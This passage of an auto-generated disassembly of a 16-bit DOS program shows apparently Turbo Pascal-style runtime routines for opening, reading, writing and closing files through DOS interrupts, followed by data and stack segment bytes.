  1501.         db    74h, 0ABh, 8Ch, 0C0h, 0ABh, 0B8h
  1502.         db    72h, 3, 0ABh, 8Ch, 0C8h, 0ABh
  1503.         db    33h, 0C0h, 0B9h, 0Eh, 0, 0F3h
  1504.         db    0ABh, 0ACh, 3Ch, 4Fh, 76h, 2
  1505.         db    0B0h
  1506.         db    4Fh
  1507. loc_72:
  1508.         mov    cl,al
  1509.         xor    ch,ch                ; Zero register
  1510.         rep    movsb                ; Rep while cx>0 Mov [si] to es:[di]
  1511.         xor    al,al                ; Zero register
  1512.         stosb                    ; Store al to es:[di]
  1513.         pop    ds
  1514.         ret    8                ; Return far
  1515.         db    8Bh, 0DCh, 36h, 0C4h, 7Fh, 0Ah
  1516.         db    36h, 8Bh, 47h, 4, 26h, 89h
  1517.         db    45h, 4, 36h, 8Bh, 47h, 6
  1518.         db    26h, 89h, 45h, 0Ch, 36h, 8Bh
  1519.         db    47h, 8, 26h, 89h, 45h, 0Eh
  1520.         db    33h, 0C0h, 26h, 89h, 45h, 8
  1521.         db    26h, 89h, 45h, 0Ah, 0CAh, 0Ah
  1522.         db    0
  1523.   
  1524. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1525. ;                   SUBROUTINE
  1526. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1527.   
  1528. sub_33        proc    far
  1529.         mov    dx,0D7B1h
  1530.         jmp    short loc_73
  1531.   
  1532. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1533.   
  1534. sub_34:
  1535.         mov    dx,0D7B2h
  1536.         jmp    short loc_73
  1537.         db    0BAh, 0B3h, 0D7h
  1538. loc_73:
  1539.         mov    bx,sp
  1540.         les    di,dword ptr ss:[bx+4]        ; Load 32 bit ptr
  1541.         mov    ax,es:[di+2]
  1542.         cmp    ax,0D7B1h
  1543.         je    loc_74                ; Jump if equal
  1544.         cmp    ax,0D7B2h
  1545.         je    loc_74                ; Jump if equal
  1546.         cmp    ax,0D7B0h
  1547.         je    loc_75                ; Jump if equal
  1548.         mov    data_69,66h            ; (0000:0036=0C800h)
  1549.         jmp    short loc_ret_76
  1550. loc_74:
  1551.         push    dx
  1552.         push    es
  1553.         push    di
  1554.         push    cs
  1555.         call    sub_35
  1556.         pop    dx
  1557. loc_75:
  1558.         xor    ax,ax                ; Zero register
  1559.         mov    es:[di+2],dx
  1560.         mov    es:[di+8],ax
  1561.         mov    es:[di+0Ah],ax
  1562.         mov    bx,10h
  1563.         call    sub_36
  1564.         jz    loc_ret_76            ; Jump if zero
  1565.         mov    word ptr es:[di+2],0D7B0h
  1566.   
  1567. loc_ret_76:
  1568.         ret    4                ; Return far
  1569. sub_33        endp
  1570.   
  1571.         db    0B0h, 0, 0EBh, 2
  1572.   
  1573. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1574. ;                   SUBROUTINE
  1575. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1576.   
  1577. sub_35        proc    near
  1578.         mov    al,1
  1579.         mov    bx,sp
  1580.         les    di,dword ptr ss:[bx+4]        ; Load 32 bit ptr
  1581.         cmp    word ptr es:[di+2],0D7B1h
  1582.         je    loc_78                ; Jump if equal
  1583.         cmp    word ptr es:[di+2],0D7B2h
  1584.         je    loc_77                ; Jump if equal
  1585.         mov    data_53,67h            ; (7125:0036=0)
  1586.         jmp    short loc_ret_79
  1587. loc_77:
  1588.         push    ax
  1589.         mov    bx,14h
  1590.         call    sub_36
  1591.         pop    ax
  1592. loc_78:
  1593.         or    al,al                ; Zero ?
  1594.         jz    loc_ret_79            ; Jump if zero
  1595.         mov    bx,1Ch
  1596.         call    sub_36
  1597.         mov    word ptr es:[di+2],0D7B0h
  1598.   
  1599. loc_ret_79:
  1600.         ret    4                ; Return far
  1601. sub_35        endp
  1602.   
  1603.   
  1604. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1605. ;                   SUBROUTINE
  1606. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1607.   
  1608. sub_36        proc    near
  1609.         push    es
  1610.         push    di
  1611.         push    es
  1612.         push    di
  1613.         call    dword ptr es:[bx+di]
  1614.         or    ax,ax                ; Zero ?
  1615.         jz    loc_80                ; Jump if zero
  1616.         mov    data_69,ax            ; (0000:0036=0C800h)
  1617. loc_80:
  1618.         pop    di
  1619.         pop    es
  1620.         ret
  1621. sub_36        endp
  1622.   
  1623.         db    8Bh, 0DCh, 1Eh, 36h, 0C5h, 7Fh
  1624.         db    4, 33h, 0C9h, 89h, 0Dh, 0B8h
  1625.         db    0, 3Dh, 81h, 7Dh, 2, 0B1h
  1626.         db    0D7h, 74h, 0Dh, 0B0h, 2, 0FFh
  1627.         db    5, 81h, 7Dh, 2, 0B3h, 0D7h
  1628.         db    74h, 2, 0B4h, 3Ch, 80h, 7Dh
  1629.         db    30h, 0, 74h, 9, 8Dh, 55h
  1630.         db    30h, 0CDh, 21h, 72h, 4Fh, 89h
  1631.         db    5
  1632. loc_81:
  1633.         mov    ax,44Eh
  1634.         xor    cx,cx                ; Zero register
  1635.         mov    bx,cx
  1636.         cmp    word ptr [di+2],0D7B1h
  1637.         je    loc_84                ; Jump if equal
  1638.         mov    bx,[di]
  1639.         mov    ax,4400h
  1640.         int    21h                ; DOS Services  ah=function 44h
  1641.                             ;  device drivr cntrl al=subfunc
  1642.         mov    ax,4A3h
  1643.         mov    cx,ax
  1644.         mov    bx,cs
  1645.         test    dl,80h
  1646.         jnz    loc_83                ; Jump if not zero
  1647.         cmp    word ptr [di+2],0D7B3h
  1648.         jne    loc_82                ; Jump if not equal
  1649.         call    sub_37
  1650. loc_82:
  1651.         mov    ax,47Eh
  1652.         xor    cx,cx                ; Zero register
  1653.         mov    bx,cx
  1654. loc_83:
  1655.         mov    word ptr [di+2],0D7B2h
  1656. loc_84:
  1657.         mov    [di+14h],ax
  1658.         mov    [di+16h],cs
  1659.         mov    [di+18h],cx
  1660.         mov    [di+1Ah],bx
  1661.         mov    word ptr [di+1Ch],4C3h
  1662.         mov    [di+1Eh],cs
  1663.         xor    ax,ax                ; Zero register
  1664. loc_85:
  1665.         pop    ds
  1666.         ret    4                ; Return far
  1667.   
  1668. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1669. ;                   SUBROUTINE
  1670. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1671.   
  1672. sub_37        proc    near
  1673.         xor    dx,dx                ; Zero register
  1674.         xor    cx,cx                ; Zero register
  1675.         mov    bx,[di]
  1676.         mov    ax,4202h
  1677.         int    21h                ; DOS Services  ah=function 42h
  1678.                             ;  move file ptr, cx,dx=offset
  1679.         sub    ax,80h
  1680.         sbb    dx,0
  1681.         jnc    loc_86                ; Jump if carry=0
  1682.         xor    ax,ax                ; Zero register
  1683.         xor    dx,dx                ; Zero register
  1684. loc_86:
  1685.         mov    cx,dx
  1686.         mov    dx,ax
  1687.         mov    bx,[di]
  1688.         mov    ax,4200h
  1689.         int    21h                ; DOS Services  ah=function 42h
  1690.                             ;  move file ptr, cx,dx=offset
  1691.         lea    dx,ds:data_31e[di]        ; (70BA:0080=0Eh) Load effective addr
  1692.         mov    cx,80h
  1693.         mov    bx,[di]
  1694.         mov    ah,3Fh                ; '?'
  1695.         int    21h                ; DOS Services  ah=function 3Fh
  1696.                             ;  read file, cx=bytes, to ds:dx
  1697.         jnc    loc_87                ; Jump if carry=0
  1698.         xor    ax,ax                ; Zero register
  1699. loc_87:
  1700.         xor    bx,bx                ; Zero register
  1701. loc_88:
  1702.         cmp    bx,ax
  1703.         je    loc_ret_90            ; Jump if equal
  1704.         cmp    byte ptr ds:data_31e[bx+di],1Ah    ; (70BA:0080=0Eh)
  1705.         je    loc_89                ; Jump if equal
  1706.         inc    bx
  1707.         jmp    short loc_88
  1708. loc_89:
  1709.         mov    dx,bx
  1710.         sub    dx,ax
  1711.         mov    cx,0FFFFh
  1712.         mov    bx,[di]
  1713.         mov    ax,4202h
  1714.         int    21h                ; DOS Services  ah=function 42h
  1715.                             ;  move file ptr, cx,dx=offset
  1716.         xor    cx,cx                ; Zero register
  1717.         mov    bx,[di]
  1718.         mov    ah,40h                ; '@'
  1719.         int    21h                ; DOS Services  ah=function 40h
  1720.                             ;  write file cx=bytes, to ds:dx
  1721.   
  1722. loc_ret_90:
  1723.         ret
  1724. sub_37        endp
  1725.   
  1726.         db    8Bh, 0DCh, 1Eh, 36h, 0C4h, 7Fh
  1727.         db    4, 26h, 0C5h, 55h, 0Ch, 26h
  1728.         db    8Bh, 4Dh, 4, 26h, 8Bh, 1Dh
  1729.         db    0B4h, 3Fh, 0CDh, 21h, 72h, 10h
  1730.         db    26h, 89h, 45h, 0Ah, 33h, 0C0h
  1731. loc_91:
  1732.         mov    word ptr es:[di+8],0
  1733.         pop    ds
  1734.         ret    4                ; Return far
  1735.         db    26h, 0C7h, 45h, 0Ah, 0, 0
  1736.         db    0EBh, 0EEh, 8Bh, 0DCh, 1Eh, 36h
  1737.         db    0C4h, 7Fh, 4, 26h, 0C5h, 55h
  1738.         db    0Ch, 33h, 0C9h, 26h, 87h, 4Dh
  1739.         db    8, 26h, 8Bh, 1Dh, 0B4h, 40h
  1740.         db    0CDh, 21h, 72h, 7, 2Bh, 0C1h
  1741.         db    74h, 3, 0B8h, 65h, 0, 1Fh
  1742.         db    0CAh, 4, 0, 8Bh, 0DCh, 1Eh
  1743.         db    36h, 0C4h, 7Fh, 4, 26h, 0C5h
  1744.         db    55h, 0Ch, 33h, 0C9h, 26h, 87h
  1745.         db    4Dh, 8, 26h, 8Bh, 1Dh, 0B4h
  1746.         db    40h, 0CDh, 21h, 72h, 2, 33h
  1747.         db    0C0h, 1Fh, 0CAh, 4, 0, 8Bh
  1748.         db    0DCh, 36h, 0C4h, 7Fh, 4, 26h
  1749.         db    8Bh, 1Dh, 83h, 0FBh, 4, 76h
  1750.         db    6, 0B4h, 3Eh, 0CDh, 21h, 72h
  1751.         db    2, 33h, 0C0h, 0CAh, 4, 0
  1752.         db    83h, 3Eh, 36h, 0, 0, 75h
  1753.         db    8, 26h, 81h, 7Dh, 2, 0B1h
  1754.         db    0D7h
  1755.         db    75h, 0Dh
  1756. loc_92:
  1757.         mov    bx,es:[di+8]
  1758.         mov    dx,es:[di+0Ah]
  1759.         les    di,dword ptr es:[di+0Ch]    ; Load 32 bit ptr
  1760.         ret
  1761. loc_93:
  1762.         mov    data_29,68h            ; (70BA:0036=252h)
  1763.         jmp    short loc_92
  1764.   
  1765. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1766. ;                   SUBROUTINE
  1767. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1768.   
  1769. sub_38        proc    near
  1770.         cmp    bx,dx
  1771.         je    loc_95                ; Jump if equal
  1772. loc_94:
  1773.         mov    al,es:[bx+di]
  1774.         clc                    ; Clear carry flag
  1775.         ret
  1776. loc_95:
  1777.         mov    di,sp
  1778.         les    di,dword ptr ss:[di+2]        ; Load 32 bit ptr
  1779.         call    sub_41
  1780.         mov    dx,ax
  1781.         cmp    bx,dx
  1782.         jne    loc_94                ; Jump if not equal
  1783.         mov    al,1Ah
  1784.         stc                    ; Set carry flag
  1785.         ret
  1786. sub_38        endp
  1787.   
  1788.   
  1789. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1790. ;                   SUBROUTINE
  1791. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1792.   
  1793. sub_39        proc    near
  1794.         cmp    word ptr ds:data_8e,0        ; (701E:0036=0)
  1795.         jne    loc_96                ; Jump if not equal
  1796.         cmp    word ptr es:[di+2],0D7B2h
  1797.         jne    loc_97                ; Jump if not equal
  1798. loc_96:
  1799.         mov    bx,es:[di+8]
  1800.         mov    dx,es:[di+4]
  1801.         les    di,dword ptr es:[di+0Ch]    ; Load 32 bit ptr
  1802.         ret
  1803. loc_97:
  1804.         mov    word ptr ds:data_8e,69h        ; (701E:0036=0)
  1805.         jmp    short loc_96
  1806. sub_39        endp
  1807.   
  1808.   
  1809. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1810. ;                   SUBROUTINE
  1811. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1812.   
  1813. sub_40        proc    near
  1814.         mov    es:[bx+di],al
  1815.         inc    bx
  1816.         cmp    bx,dx
  1817.         je    loc_98                ; Jump if equal
  1818.         ret
  1819. loc_98:
  1820.         mov    di,sp
  1821.         les    di,dword ptr ss:[di+2]        ; Load 32 bit ptr
  1822. sub_40        endp
  1823.   
  1824.   
  1825. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1826. ;                   SUBROUTINE
  1827. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1828.   
  1829. sub_41        proc    near
  1830.         push    cx
  1831.         push    si
  1832.         push    ds
  1833.         mov    dx,seg_d
  1834.         mov    ds,dx
  1835.         mov    es:[di+8],bx
  1836.         push    es
  1837.         push    di
  1838.         push    es
  1839.         push    di
  1840.         call    dword ptr es:[di+14h]        ; 6 entries
  1841.         or    ax,ax                ; Zero ?
  1842.         jz    loc_99                ; Jump if zero
  1843.         mov    data_53,ax            ; (7125:0036=0)
  1844. loc_99:
  1845.         pop    di
  1846.         pop    es
  1847.         mov    ax,es:[di+0Ah]
  1848.         mov    bx,es:[di+8]
  1849.         mov    dx,es:[di+4]
  1850.         les    di,dword ptr es:[di+0Ch]    ; Load 32 bit ptr
  1851.         pop    ds
  1852.         pop    si
  1853.         pop    cx
  1854.         ret
  1855. sub_41        endp
  1856.   
  1857.         db    8Bh, 0DCh, 36h, 0C4h, 7Fh, 4
  1858.         db    6, 57h, 0E8h, 51h, 0FFh, 75h
  1859.         db    14h
  1860. loc_100:
  1861.         call    sub_38
  1862.         cmp    al,1Ah
  1863.         je    loc_101                ; Jump if equal
  1864.         inc    bx
  1865.         cmp    al,0Dh
  1866.         jne    loc_100                ; Jump if not equal
  1867.         call    sub_38
  1868.         cmp    al,0Ah
  1869.         jne    loc_101                ; Jump if not equal
  1870.         inc    bx
  1871. loc_101:
  1872.         pop    di
  1873.         pop    es
  1874.         mov    es:[di+8],bx
  1875.         jmp    short loc_103
  1876.   
  1877. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1878. ;                   SUBROUTINE
  1879. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1880.   
  1881. sub_42        proc    far
  1882.         mov    bx,sp
  1883.         les    di,dword ptr ss:[bx+4]        ; Load 32 bit ptr
  1884.         push    es
  1885.         push    di
  1886.         call    sub_39
  1887.         jnz    loc_102                ; Jump if not zero
  1888.         mov    al,0Dh
  1889.         call    sub_40
  1890.         mov    al,0Ah
  1891.         call    sub_40
  1892. loc_102:
  1893.         pop    di
  1894.         pop    es
  1895.         mov    es:[di+8],bx
  1896.         jmp    short loc_103
  1897.   
  1898. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1899.   
  1900. sub_43:
  1901.         mov    bx,sp
  1902.         les    di,dword ptr ss:[bx+4]        ; Load 32 bit ptr
  1903. loc_103:
  1904.         cmp    word ptr es:[di+1Ah],0
  1905.         jne    loc_105                ; Jump if not equal
  1906.   
  1907. loc_ret_104:
  1908.         ret    4                ; Return far
  1909. loc_105:
  1910.         cmp    data_69,0            ; (0000:0036=0C800h)
  1911.         jne    loc_ret_104            ; Jump if not equal
  1912.         push    es
  1913.         push    di
  1914.         call    dword ptr es:[di+18h]        ; 20 entries
  1915.         or    ax,ax                ; Zero ?
  1916.         jz    loc_ret_104            ; Jump if zero
  1917.         mov    data_69,ax            ; (0000:0036=0C800h)
  1918.         jmp    short loc_ret_104
  1919. sub_42        endp
  1920.   
  1921.         db    8Bh, 0DCh, 36h, 0C4h, 7Fh, 4
  1922.         db    6, 57h, 0E8h, 0E3h, 0FEh, 75h
  1923.         db    0Dh, 0E8h, 2, 0FFh, 72h, 1
  1924.         db    43h
  1925. loc_106:
  1926.         pop    di
  1927.         pop    es
  1928.         mov    es:[di+8],bx
  1929.         ret                    ; Return far
  1930.         db    0B0h, 1Ah, 0EBh, 0F5h
  1931.   
  1932. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1933. ;                   SUBROUTINE
  1934. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1935.   
  1936. sub_44        proc    far
  1937.         mov    bx,sp
  1938.         les    di,dword ptr ss:[bx+8]        ; Load 32 bit ptr
  1939.         mov    al,ss:[bx+6]
  1940.         mov    cx,ss:[bx+4]
  1941.         push    es
  1942.         push    di
  1943.         call    sub_39
  1944.         jnz    loc_109                ; Jump if not zero
  1945.         dec    cx
  1946.         jle    loc_108                ; Jump if < or =
  1947.         xchg    ax,si
  1948.   
  1949. locloop_107:
  1950.         mov    al,20h                ; ' '
  1951.         call    sub_40
  1952.         loop    locloop_107            ; Loop if cx > 0
  1953.   
  1954.         xchg    ax,si
  1955. loc_108:
  1956.         call    sub_40
  1957. loc_109:
  1958.         pop    di
  1959.         pop    es
  1960.         mov    es:[di+8],bx
  1961.         ret    4                ; Return far
  1962. sub_44        endp
  1963.   
  1964.         db    55h, 8Bh, 0ECh, 1Eh, 0C4h, 7Eh
  1965.         db    0Ch, 6, 57h, 0E8h, 97h, 0FEh
  1966.         db    0C5h, 76h, 8, 0B9h, 0, 0
  1967.         db    75h, 15h
  1968. loc_110:
  1969.         call    sub_38
  1970.         cmp    al,0Dh
  1971.         je    loc_111                ; Jump if equal
  1972.         cmp    al,1Ah
  1973.         je    loc_111                ; Jump if equal
  1974.         inc    bx
  1975.         inc    cx
  1976.         inc    si
  1977.         mov    [si],al
  1978.         cmp    cx,[bp+6]
  1979.         jne    loc_110                ; Jump if not equal
  1980. loc_111:
  1981.         sub    si,cx
  1982.         mov    [si],cl
  1983.         pop    di
  1984.         pop    es
  1985.         mov    es:[di+8],bx
  1986.         pop    ds
  1987.         pop    bp
  1988.         ret    6                ; Return far
  1989.   
  1990. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1991. ;                   SUBROUTINE
  1992. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1993.   
  1994. sub_45        proc    far
  1995.         push    bp
  1996.         mov    bp,sp
  1997.         push    ds
  1998.         les    di,dword ptr [bp+0Ch]        ; Load 32 bit ptr
  1999.         push    es
  2000.         push    di
  2001.         call    sub_39
  2002.         jnz    loc_115                ; Jump if not zero
  2003.         lds    si,dword ptr [bp+8]        ; Load 32 bit ptr
  2004.         mov    cx,[bp+6]
  2005.         cld                    ; Clear direction
  2006.         lodsb                    ; String [si] to al
  2007.         xor    ah,ah                ; Zero register
  2008.         sub    cx,ax
  2009.         jle    loc_113                ; Jump if < or =
  2010.   
  2011. locloop_112:
  2012.         mov    al,20h                ; ' '
  2013.         call    sub_40
  2014.         loop    locloop_112            ; Loop if cx > 0
  2015.   
  2016.         mov    al,[si-1]
  2017.         xor    ah,ah                ; Zero register
  2018. loc_113:
  2019.         mov    cx,ax
  2020.         jcxz    loc_115                ; Jump if cx=0
  2021.   
  2022. locloop_114:
  2023.         cld                    ; Clear direction
  2024.         lodsb                    ; String [si] to al
  2025.         call    sub_40
  2026.         loop    locloop_114            ; Loop if cx > 0
  2027.   
  2028. loc_115:
  2029.         pop    di
  2030.         pop    es
  2031.         mov    es:[di+8],bx
  2032.         pop    ds
  2033.         pop    bp
  2034.         ret    6                ; Return far
  2035. sub_45        endp
  2036.   
  2037.         db    0
  2038.   
  2039. seg_c        ends
  2040.   
  2041.   
  2042.   
  2043. ;--------------------------------------------------------------    seg_d -----
  2044.   
  2045. seg_d        segment    para public
  2046.         assume cs:seg_d, ds:seg_d, ss:stack_seg_e
  2047.   
  2048.         db    4 dup (0)
  2049. data_39        dw    0
  2050.         db    4 dup (0)
  2051. data_40        dw    0
  2052. data_41        dw    0
  2053. data_42        dw    0
  2054. data_43        dw    0
  2055.         db    6 dup (0)
  2056. data_44        dw    0
  2057.         dw    0
  2058. data_45        dw    0
  2059.         dw    0
  2060. data_46        dw    0
  2061.         db    6 dup (0)
  2062. data_47        dw    0
  2063. data_48        dw    0
  2064. data_49        dw    0
  2065. data_50        dw    0
  2066. data_51        dw    0
  2067. data_52        dw    0
  2068.         db    0, 0
  2069. data_53        dw    0
  2070.         db    0, 0, 0, 0, 2, 0
  2071. data_54        db    0
  2072.         db    17 dup (0)
  2073. data_56        db    0
  2074.         db    591 dup (0)
  2075.   
  2076. seg_d        ends
  2077.   
  2078.   
  2079.   
  2080. ;--------------------------------------------------------- stack_seg_e ----
  2081.   
  2082. stack_seg_e    segment    para stack
  2083.   
  2084.         db    105 dup (0)
  2085.         db    15767 dup (0)
  2086.         db    0E4h, 32h, 2Ch, 28h, 41h, 29h
  2087.         db    45h, 52h, 0AEh, 2Dh, 0A1h, 34h
  2088.         db    34h, 33h, 0F1h, 4Ah, 0F2h, 33h
  2089.         db    46h, 3Eh, 0D2h, 3Eh, 0Dh, 3Fh
  2090.         db    68h, 49h, 5Ah, 4Ah, 6, 4Eh
  2091.         db    92h, 4Eh, 98h, 50h, 47h, 51h
  2092.         db    0B8h, 28h, 0B3h, 4Dh, 7Fh, 4Eh
  2093.         db    24h, 51h, 0A6h, 4Dh, 75h, 4Fh
  2094.         db    3Ch, 52h, 0CEh, 2Dh, 0A5h, 4Eh
  2095.         db    6Ah, 51h, 0FCh, 28h, 0F4h, 2Fh
  2096.         db    83h, 2Ch, 0A1h, 37h, 0A8h
  2097.         db    '?n/>ELM;NQN'
  2098.         db    0BBh, 50h, 0DEh, 50h, 2Fh, 37h
  2099.         db    0DBh, 4Eh, 0F8h, 4Eh, 0Dh, 4Fh
  2100.         db    22h, 4Fh, 0B0h, 51h, 0D3h, 51h
  2101.         db    0F6h, 51h, 19h, 52h, 0D6h, 29h
  2102.         db    45h, 32h, 64h, 4Eh, 9Bh, 31h
  2103.         db    5, 33h, 6Dh, 4Dh, 80h, 4Dh
  2104.         db    93h, 4Dh, 0E0h, 4Dh, 0F3h, 4Dh
  2105.         db    0E9h, 4Fh, 0Ch
  2106.         db    'P/PRPuPU0'
  2107.         db    82h, 38h, 74h, 3Ah, 9Dh, 3Ah
  2108.         db    0F1h, 41h, 8Ch, 2Eh, 0B7h, 2Eh
  2109.         db    0F9h, 2Eh, 66h, 2Fh, 7Ch, 2Fh
  2110.         db    9Ah, 2Ch, 7Fh, 3Ch, 17h, 44h
  2111.         db    37h, 4Dh, 3Fh, 4Fh, 52h, 4Fh
  2112.         db    93h, 2Ch, 47h, 4Dh, 16h, 4Eh
  2113.         db    4Fh, 4Fh, 0FDh, 31h, 45h, 3Eh
  2114.         db    95h, 4Bh, 94h, 2Ch, 48h, 4Dh
  2115.         db    17h, 4Eh, 50h, 4Fh, 0BEh, 4Eh
  2116.         db    8Dh, 51h, 0FDh, 29h, 0BCh, 4Dh
  2117.         db    72h, 33h, 87h, 33h, 7Dh, 4Dh
  2118.         db    90h, 4Dh, 0A3h, 4Dh, 0F0h, 4Dh
  2119.         db    3, 4Eh, 61h, 4Eh, 8Fh, 4Eh
  2120.         db    0A2h, 4Eh, 0BCh
  2121.         db    'O>', 27h, '?', 27h, '@', 27h, 'A'
  2122.         db    27h, 'B', 27h, 'C', 27h, 'Z'
  2123.         db    0, 0, 0C2h, 2Ah
  2124.         db    11 dup (0)
  2125.         db    0D8h
  2126.         db    ')#*$*%*&*', 27h, '*(*)***+*,*-*.'
  2127.         db    '*/*0*1*2*3*4*5*6*7*8*9*Z'
  2128.         db    0, 0, 0BEh, 2Ah
  2129.         db    11 dup (0)
  2130.         db    '^*_*`*a*b*c*d*e*f*g*h*i*j*k*l*m*'
  2131.         db    'n*o*p*q*r*s*t*u*v*w*x*y*7+=+>+?+'
  2132.         db    '@+A+B+G+H+I+J+S+T+U+V+W+X+]+^+_+'
  2133.         db    '`+r+s+', 7Fh, '+'
  2134.         db    80h, 2Bh, 81h, 2Bh, 82h, 2Bh
  2135.         db    83h, 2Bh, 84h, 2Bh, 0AFh, 2Bh
  2136.         db    0B0h, 2Bh, 0B1h, 2Bh, 0B2h, 2Bh
  2137.         db    0B3h, 2Bh, 0B4h, 2Bh, 0BAh, 2Bh
